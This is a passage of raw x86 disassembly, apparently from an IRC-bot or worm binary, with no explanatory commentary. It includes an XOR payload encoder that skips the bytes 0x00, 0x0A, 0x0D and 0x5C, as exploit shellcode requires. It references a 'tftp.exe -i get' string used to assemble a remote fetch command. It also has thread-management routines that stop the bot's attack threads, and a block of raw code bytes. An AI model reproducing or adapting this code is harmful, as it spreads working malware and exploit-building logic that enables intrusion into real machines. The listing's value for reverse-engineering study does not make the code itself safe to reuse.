		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_417AB0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_416ABE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416ADE	proc near		; CODE XREF: sub_416BCD+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_416ABE
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_416AFB
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_416AFB:				; CODE XREF: sub_416ADE+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_417AB0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_417AB0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_433B70, eax
		lea	eax, [edi+1]
		mov	dword_433B91, eax
		lea	eax, [edi+17h]
		mov	dword_433B89, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_433B0C
		push	ebx
		mov	dword_433B9F, eax
		call	sub_417390
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_417390
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_417390
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_433B95
		push	esi
		call	sub_417390
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416ADE	endp


; =============== S U B	R O U T	I N E =======================================



sub_416BB6	proc near		; CODE XREF: sub_416BCD+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_416ABE
		push	eax
		call	sub_416C3A
		add	esp, 0Ch
		retn
sub_416BB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BCD	proc near		; CODE XREF: sub_402B84+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_416BB6
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_416BED
		cmp	eax, 0FFFFh
		jbe	short loc_416BF1


loc_416BED:				; CODE XREF: sub_416BCD+17j
		xor	eax, eax
		jmp	short loc_416C36
; ---------------------------------------------------------------------------


loc_416BF1:				; CODE XREF: sub_416BCD+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_416ABE
		add	eax, 101h
		push	eax
		call	sub_417B89
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_416ABE
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_416ADE
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416C55
		push	esi
		mov	edi, eax
		call	sub_417C3B
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_416C36:				; CODE XREF: sub_416BCD+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_416BCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_416C3A	proc near		; CODE XREF: sub_416BB6+Ep
					; sub_416C55+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_416C43
		inc	ecx


loc_416C43:				; CODE XREF: sub_416C3A+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_416C3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C55	proc near		; CODE XREF: sub_416BCD+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_416C71
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_416C71
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_416C71
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_416C74


loc_416C71:				; CODE XREF: sub_416C55+8j
					; sub_416C55+Ej ...
		inc	[ebp+arg_C]


loc_416C74:				; CODE XREF: sub_416C55+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_416C9C
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_416C95
		cmp	al, 0Dh
		jz	short loc_416C95
		cmp	al, 5Ch
		jz	short loc_416C95
		test	al, al
		jnz	short loc_416C9C


loc_416C95:				; CODE XREF: sub_416C55+32j
					; sub_416C55+36j ...
		add	[ebp+arg_C], 100h


loc_416C9C:				; CODE XREF: sub_416C55+28j
					; sub_416C55+3Ej
		push	[ebp+arg_C]
		call	sub_416C3A
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_416CB4
		cmp	eax, 0FFFFh
		jbe	short loc_416CBB


loc_416CB4:				; CODE XREF: sub_416C55+56j
		xor	eax, eax
		jmp	loc_416D59
; ---------------------------------------------------------------------------


loc_416CBB:				; CODE XREF: sub_416C55+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4CD988
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_416CEB


loc_416CCF:				; CODE XREF: sub_416C55+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_416CE2
		cmp	al, 0Ah
		jz	short loc_416CE2
		cmp	al, 0Dh
		jz	short loc_416CE2
		cmp	al, 5Ch
		jnz	short loc_416CE6


loc_416CE2:				; CODE XREF: sub_416C55+7Fj
					; sub_416C55+83j ...
		inc	bl
		xor	edx, edx


loc_416CE6:				; CODE XREF: sub_416C55+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_416CCF


loc_416CEB:				; CODE XREF: sub_416C55+78j
		cmp	ecx, esi
		mov	byte_4CD988, bl
		ja	short loc_416D17
		push	15h
		push	offset loc_433AF4
		push	[ebp+arg_0]
		mov	byte_433B01, cl
		mov	byte_433B05, bl
		call	sub_417390
		add	esp, 0Ch
		push	15h
		jmp	short loc_416D38
; ---------------------------------------------------------------------------


loc_416D17:				; CODE XREF: sub_416C55+9Ej
		push	17h
		push	offset loc_433ADC
		push	[ebp+arg_0]
		mov	word_433AEA, cx
		mov	byte_433AEF, bl
		call	sub_417390
		add	esp, 0Ch
		push	17h


loc_416D38:				; CODE XREF: sub_416C55+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_416D54
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_416D46:				; CODE XREF: sub_416C55+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_416D46


loc_416D54:				; CODE XREF: sub_416C55+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_416D59:				; CODE XREF: sub_416C55+61j
		pop	esi
		leave
		retn
sub_416C55	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D5C	proc near		; CODE XREF: sub_4060D0+227p
					; sub_407252+F0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4405F0


loc_416D64:				; CODE XREF: sub_416D5C+18j
		cmp	byte ptr [eax],	0
		jz	short loc_416D78
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CD5F0
		jl	short loc_416D64
		jmp	short loc_416DC3
; ---------------------------------------------------------------------------


loc_416D78:				; CODE XREF: sub_416D5C+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_4405F0[esi]
		push	eax
		call	sub_418C10
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_4407F0[esi], eax
		and	dword_4407F4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_4407F8[esi], 0
		mov	dword_4407FC[esi], eax
		and	byte_440808[esi], 0
		pop	esi


loc_416DC3:				; CODE XREF: sub_416D5C+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_416D5C	endp

; ---------------------------------------------------------------------------
byte_416DC7	db 55h			; DATA XREF: sub_40EE72+5C01o
		dd 0EC81EC8Bh, 98h, 5608458Bh, 59266A57h, 0BD8DF08Bh, 0FFFFFF68h
		dd 75FFA5F3h, 9480C7F0h, 1000000h, 8D000000h, 0FFFF6C85h
		dd 0F475FFFFh, 68B5FF50h, 0E8FFFFFFh, 15h, 0E8EC75FFh
		dd 26Ch, 6A14C483h, 0CBE89000h,	5F022194h, 0EC8B555Eh
		dd 200EC81h, 57560000h,	75FF006Ah, 3BD06810h, 75FF0043h
		dd 875FF0Ch, 0FF6840E8h, 14C483FFh, 0F0BEFF33h,	80004405h
		dd 3C74003Eh, 147D83h, 0BE830975h, 204h, 562D7500h, 858D57h
		dd 68FFFFFEh, 432550h, 446E850h, 16A0000h, 0FE00858Dh
		dd 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF67F8E8h, 24C483FFh
		dd 234C681h, 81470000h,	4CD5F0FEh, 5FB07C00h
; ---------------------------------------------------------------------------
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_416E97	proc near		; CODE XREF: sub_40EE72+4DD9p
					; sub_416F25+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_416F1F
		cmp	esi, 400h
		jge	short loc_416F1F
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_440804[esi]
		lea	edi, dword_440804[esi]
		nop
		call	near ptr 27F09C7h
		cmp	[edi], ebx
		jz	short loc_416ECF
		push	1
		pop	ebp


loc_416ECF:				; CODE XREF: sub_416E97+33j
		mov	[edi], ebx
		lea	edi, dword_4407F8[esi]
		mov	dword_4407F0[esi], ebx
		mov	dword_4407F4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_416EF0
		push	eax
		call	sub_415419
		pop	ecx


loc_416EF0:				; CODE XREF: sub_416E97+50j
		mov	[edi], ebx
		lea	edi, dword_4407FC[esi]
		mov	byte ptr dword_4405F0[esi], bl
		mov	byte_440808[esi], bl
		push	dword ptr [edi]
		call	dword_43AE30
		lea	esi, dword_440800[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_43AE30
		mov	[esi], ebx
		pop	edi


loc_416F1F:				; CODE XREF: sub_416E97+Dj
					; sub_416E97+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_416E97	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F25	proc near		; CODE XREF: sub_40AC42:loc_40AC66p
					; sub_40D3A5+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_4405F0


loc_416F31:				; CODE XREF: sub_416F25+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_416F42
		push	edi
		call	sub_416E97
		test	eax, eax
		pop	ecx
		jz	short loc_416F42
		inc	ebx


loc_416F42:				; CODE XREF: sub_416F25+Fj
					; sub_416F25+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CD5F0
		jl	short loc_416F31
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_416F25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F57	proc near		; CODE XREF: sub_40EE72+1E3Dp
					; sub_40EE72+1EABp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_4407F4


loc_416F6B:				; CODE XREF: sub_416F57+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_416F8D
		test	edi, edi
		jle	short loc_416F7F
		cmp	[esi], edi
		jz	short loc_416F7F
		cmp	ebx, edi
		jnz	short loc_416F8D


loc_416F7F:				; CODE XREF: sub_416F57+1Ej
					; sub_416F57+22j
		push	ebx
		call	sub_416E97
		test	eax, eax
		pop	ecx
		jz	short loc_416F8D
		inc	[ebp+var_4]


loc_416F8D:				; CODE XREF: sub_416F57+1Aj
					; sub_416F57+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CD7F4
		jl	short loc_416F6B
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416F57	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FA4	proc near		; CODE XREF: sub_4071DB+Bp
					; sub_407252+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_4407F0


loc_416FAB:				; CODE XREF: sub_416FA4+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_416FB4
		inc	eax


loc_416FB4:				; CODE XREF: sub_416FA4+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CD7F0
		jl	short loc_416FAB
		retn
sub_416FA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FC3	proc near		; CODE XREF: sub_40EE72+5698p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_4407F0


loc_416FCD:				; CODE XREF: sub_416FC3+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_416FE6
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CD7F0
		jl	short loc_416FCD
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_416FE6:				; CODE XREF: sub_416FC3+10j
		mov	eax, edx
		pop	esi
		retn
sub_416FC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FEA	proc near		; CODE XREF: sub_40EE72+1070p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_417003
		push	[ebp+arg_1C]
		call	sub_41781F
		pop	ecx


loc_417003:				; CODE XREF: sub_416FEA+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_416F57
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41702F
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_417049
; ---------------------------------------------------------------------------


loc_41702F:				; CODE XREF: sub_416FEA+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_4172B0
		add	esp, 10h


loc_417049:				; CODE XREF: sub_416FEA+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_417069
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_417069:				; CODE XREF: sub_416FEA+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		pop	ecx
		leave
		retn
sub_416FEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_417078	proc near		; CODE XREF: sub_401000+A5p
					; sub_40144A+8Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_440804[eax], ecx
		mov	dword_4407F0[eax], ecx
		mov	dword_4407F4[eax], ecx
		mov	dword_4407F8[eax], ecx
		mov	dword_4407FC[eax], ecx
		mov	dword_440800[eax], ecx
		mov	byte ptr dword_4405F0[eax], cl
		mov	byte_440808[eax], cl
		retn
sub_417078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4170B5	proc near		; CODE XREF: sub_40EE72+6189p
					; sub_4171E3+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_4170BF:				; CODE XREF: sub_4170B5+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_41711F
		cmp	eax, 1
		jnz	short loc_41711F
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_41711F
		cmp	cl, 2Ah
		jz	short loc_417106
		cmp	cl, 3Fh
		jz	short loc_4170E9
		cmp	cl, 5Bh
		jz	short loc_4170EE
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_4170E9:				; CODE XREF: sub_4170B5+26j
		inc	[ebp+arg_4]
		jmp	short loc_417119
; ---------------------------------------------------------------------------


loc_4170EE:				; CODE XREF: sub_4170B5+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_41714B
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417119
; ---------------------------------------------------------------------------


loc_417106:				; CODE XREF: sub_4170B5+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4171E3
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_417119:				; CODE XREF: sub_4170B5+37j
					; sub_4170B5+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4170BF
; ---------------------------------------------------------------------------


loc_41711F:				; CODE XREF: sub_4170B5+Ej
					; sub_4170B5+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_41712F
		cmp	eax, 1
		jnz	short loc_417146
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_41711F
; ---------------------------------------------------------------------------


loc_41712F:				; CODE XREF: sub_4170B5+6Dj
		cmp	eax, 1
		jnz	short loc_417146
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_417146
		cmp	byte ptr [esi],	0
		jnz	short loc_417146
		push	1
		pop	eax
		jmp	short loc_417148
; ---------------------------------------------------------------------------


loc_417146:				; CODE XREF: sub_4170B5+72j
					; sub_4170B5+7Dj ...
		xor	eax, eax


loc_417148:				; CODE XREF: sub_4170B5+8Fj
		pop	esi
		pop	ebp
		retn
sub_4170B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41714B	proc near		; CODE XREF: sub_4170B5+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_41716C
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_41716C:				; CODE XREF: sub_41714B+19j
		push	ebx
		push	esi


loc_41716E:				; CODE XREF: sub_41714B+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_41717C
		cmp	[ebp+var_4], eax
		jnz	short loc_4171C8


loc_41717C:				; CODE XREF: sub_41714B+2Aj
		test	edi, edi
		jnz	short loc_4171BD
		cmp	bl, 2Dh
		jnz	short loc_4171B1
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_4171B1
		cmp	al, 5Dh
		jz	short loc_4171B1
		cmp	[ebp+var_4], edi
		jnz	short loc_4171B1
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4171BD
		cmp	bl, al
		jg	short loc_4171BD
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_4171BD
; ---------------------------------------------------------------------------


loc_4171B1:				; CODE XREF: sub_41714B+38j
					; sub_41714B+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4171BD
		push	1
		pop	edi


loc_4171BD:				; CODE XREF: sub_41714B+33j
					; sub_41714B+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_41716E
; ---------------------------------------------------------------------------


loc_4171C8:				; CODE XREF: sub_41714B+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_4171D5
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_4171D5:				; CODE XREF: sub_41714B+82j
		cmp	edi, eax
		jnz	short loc_4171DE
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_4171DE:				; CODE XREF: sub_41714B+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_41714B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4171E3	proc near		; CODE XREF: sub_4170B5+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_4171FF:				; CODE XREF: sub_4171E3+3Aj
		cmp	[eax], bl
		jz	short loc_41721F
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_417214
		cmp	cl, 2Ah
		jnz	short loc_41721F
		cmp	cl, 3Fh
		jnz	short loc_417217


loc_417214:				; CODE XREF: sub_4171E3+25j
		inc	eax
		mov	[edi], eax


loc_417217:				; CODE XREF: sub_4171E3+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_4171FF
; ---------------------------------------------------------------------------


loc_41721F:				; CODE XREF: sub_4171E3+1Ej
					; sub_4171E3+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_41722A
		inc	dword ptr [esi]
		jmp	short loc_41721F
; ---------------------------------------------------------------------------


loc_41722A:				; CODE XREF: sub_4171E3+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_41724B
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_41723C
		xor	eax, eax
		jmp	short loc_4172AB
; ---------------------------------------------------------------------------


loc_41723C:				; CODE XREF: sub_4171E3+53j
		cmp	cl, bl
		jnz	short loc_41724B
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_41724B
		push	1
		pop	eax
		jmp	short loc_4172AB
; ---------------------------------------------------------------------------


loc_41724B:				; CODE XREF: sub_4171E3+4Dj
					; sub_4171E3+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_4170B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417295


loc_417259:				; CODE XREF: sub_4171E3+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_41725D:				; CODE XREF: sub_4171E3+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_417275
		cmp	cl, 5Bh
		jz	short loc_417275
		cmp	dl, bl
		jz	short loc_417275
		inc	eax
		mov	[edi], eax
		jmp	short loc_41725D
; ---------------------------------------------------------------------------


loc_417275:				; CODE XREF: sub_4171E3+82j
					; sub_4171E3+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_41728C
		push	eax
		push	dword ptr [esi]
		call	sub_4170B5
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_417291
; ---------------------------------------------------------------------------


loc_41728C:				; CODE XREF: sub_4171E3+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_417291:				; CODE XREF: sub_4171E3+A7j
		cmp	eax, ebx
		jnz	short loc_417259


loc_417295:				; CODE XREF: sub_4171E3+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_4172A8
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_4172A8
		mov	[ebp+var_4], 1


loc_4172A8:				; CODE XREF: sub_4171E3+B6j
					; sub_4171E3+BCj
		mov	eax, [ebp+var_4]


loc_4172AB:				; CODE XREF: sub_4171E3+57j
					; sub_4171E3+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4171E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172B0	proc near		; CODE XREF: sub_401000+64p
					; sub_4010B5+308p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4172F0
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4172FD
; ---------------------------------------------------------------------------


loc_4172F0:				; CODE XREF: sub_4172B0+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx


loc_4172FD:				; CODE XREF: sub_4172B0+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4172B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417302	proc near		; CODE XREF: sub_401000+2Ep
					; sub_401D82+46p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_433C20, eax
		retn
sub_417302	endp


; =============== S U B	R O U T	I N E =======================================



sub_41730C	proc near		; CODE XREF: sub_4010B5+CBp
					; sub_4010B5+13Fp ...
		mov	eax, dword_433C20
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_433C20, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41730C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417330	proc near		; CODE XREF: sub_4010B5+281p
					; sub_40144A+180p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_417383
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_417377
		neg	ecx
		and	ecx, 3
		jz	short loc_417359
		sub	edx, ecx


loc_417353:				; CODE XREF: sub_417330+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_417353


loc_417359:				; CODE XREF: sub_417330+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_417377
		rep stosd
		test	edx, edx
		jz	short loc_41737D


loc_417377:				; CODE XREF: sub_417330+18j
					; sub_417330+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_417377


loc_41737D:				; CODE XREF: sub_417330+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417383:				; CODE XREF: sub_417330+Aj
		mov	eax, [esp+arg_0]
		retn
sub_417330	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

